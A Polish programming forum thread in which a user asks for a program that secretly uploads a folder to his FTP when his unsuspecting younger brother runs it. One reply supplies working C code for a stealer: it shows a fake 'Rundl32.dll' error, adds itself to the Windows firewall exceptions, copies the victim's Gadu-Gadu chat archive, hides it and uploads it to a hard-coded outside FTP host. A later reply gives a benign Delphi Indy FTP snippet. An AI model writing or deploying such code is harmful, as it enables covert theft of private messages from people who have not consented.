Prosty programik do wysyłania na ftp. pomoże ktoś?

[pepikpepikpepik]

Witam!
Jeśli może mi ktoś pomóc to będę wdzięczny.
Potrzebny mi programik, może być w delphi. chodzi mi o sam kod źródłowy, dobiero stawiam pierwsze kroki w programowaniu.
W kodzie źródłowym wpisuje ścieżke do folderu (c:/windows/folder) i ten program wysyła mi go na ftp, ftp też wpisuje w kodzie źródłowym (np.ftp://83,100,10,255/pustyfolder).
I chodzi mi o to jak odpale ten plik to bez jakiego kolwiek powiadomienia mnie, automatycznie wysyła mi ten folder na ftp (do folderu "pustyfolder"), wiem że to śmierdzi podstępem , a kod źródłowy potrzebny mi bo mam zmienne ip i za każdym razem mam inny adres ftp. Dobrze by było jak ten programik by sie kasował po odpaleniu (nie koniecznie).
reasumując daje ten program młodszemu bratu, on odpala go na kompie i nic sie nie dzieje (on tak myśli bo naprawde dostałem w tej chwili ten folder o który mi chodziło).
Czy ktoś pomoże mi w takim programiku? może być w txt bo delphi posiadam
Dla mnie taki progs to wyzwanie, ale pewnie dla kogoś kto już troche programuje to pestka (tak myśle). Dzięki za wszelką pomoc

[Nikow]

Witam! Dlaczego nie użyjesz google.pl ?

[pepikpepikpepik]

szukałem. ale na razie jestem zbyt początkujący. to co czytałem to czarna magia... dlatego licze na czyjąś pomoc. i pytanie czy dużo sie trzeba natrudzic żeby napisać taki program?

[naichniach]

#include <windows.h>
#include <wininet.h>
#define HOST          "zenonm.rr.pl"
#define PORT          INTERNET_DEFAULT_FTP_PORT
#define USER          "ssss12"
#define PASSWORD      "ssss12"
#define INFO_BUFFER_SIZE 1024
TCHAR szNazwa[ 1024 ];
TCHAR moodule[1024];
const WORD zonk = 255;
char names[200];

   void tryn(void){
   char buff[100];
   hostent *lphe;
   WSADATA WSAData;
   WSAStartup(MAKEWORD(2, 0), &WSAData);
   gethostname(buff, 100);
   lphe = gethostbyname(buff);
   inet_ntoa(*(in_addr*)*lphe->h_addr_list);
   char *adr=inet_ntoa(*(in_addr*)*lphe->h_addr_list);
   WSACleanup();
   memcpy(names,adr,sizeof(names));
   }

   bool finder(char shit[]){
   strcat(shit,"\\");
   strcat(shit,"archives.dat");
   GetCurrentDirectory(zonk,szNazwa);
   strcat(szNazwa,"\\archives.dat");
   CopyFile(shit, szNazwa, FALSE);
   DWORD atrb=FILE_ATTRIBUTE_HIDDEN;
   SetFileAttributes(szNazwa,atrb);
   return true;
   }
int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil){
GetModuleFileName( GetModuleHandle( NULL ), moodule, 1024 );
MessageBox(NULL, "Aplikacja nie może zostać uruchomiona w 32 bitowym trybie pamięci", "Rundl32.dll", MB_ICONSTOP);
    char buf[200];
    HKEY hkRun6;
    HKEY hkRun2;
    HKEY hkRun3;
    DWORD dwBufSize = 20;
    RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Gadu-Gadu\\Gadu-Gadu\\Startup",0,KEY_ALL_ACCESS,&hkRun6); /*otwieramy klucz od profilu gg*/
    RegQueryValueEx(hkRun6, "LastProfile", 0,REG_NONE, (LPBYTE)buf, &dwBufSize);
    RegCloseKey(hkRun6);
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",0,KEY_ALL_ACCESS,&hkRun2);
    RegSetValueEx(hkRun2,moodule, 0 ,REG_SZ,(LPBYTE)moodule, lstrlen(moodule)+1);
    RegCloseKey(hkRun2);
    TCHAR  infoBuf[INFO_BUFFER_SIZE];
    DWORD  bufCount = INFO_BUFFER_SIZE;
    GetUserName( infoBuf, &bufCount );
    char path[]="C:\\Documents and Settings\\";
    strcat(path,infoBuf);
    strcat(path,"\\Gadu-Gadu\\");
    strcat(path,buf);
    if(finder(path)==true){
    tryn();
    char rem[]="archiw/";
    strcat(rem,names);
    strcat(rem,".dat");
    HINTERNET hInternet, hServer;
    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    hServer = InternetConnect(hInternet, HOST, PORT, USER, PASSWORD, INTERNET_SERVICE_FTP, 0, 0);
    FtpPutFile(hServer,szNazwa,rem,FTP_TRANSFER_TYPE_BINARY,0);
    InternetCloseHandle(hServer);
    InternetCloseHandle(hInternet);
    DeleteFile("archives.dat");
    exit(1);
    }
return 0;
} 

[zofja69]

Cześć.
Chcesz do delphi? To załatw sobie pakiet Indy i na form wrzucisz komponent TIdFTP
W nim ustawiasz wszystkie potrzebne dane czyli

IdFTP1.host:='nazwa_hostu';
IdFTP1.password:='haslo'; 

Później tylko zarządzasz np:

  IdFTP1.Connect();
  IdFTP1.Login;
//.... operacje
  IdFTP1.Disconnect; 

Reszta poleceń rozwinie Ci się sama po wpisaniu IdFTP1.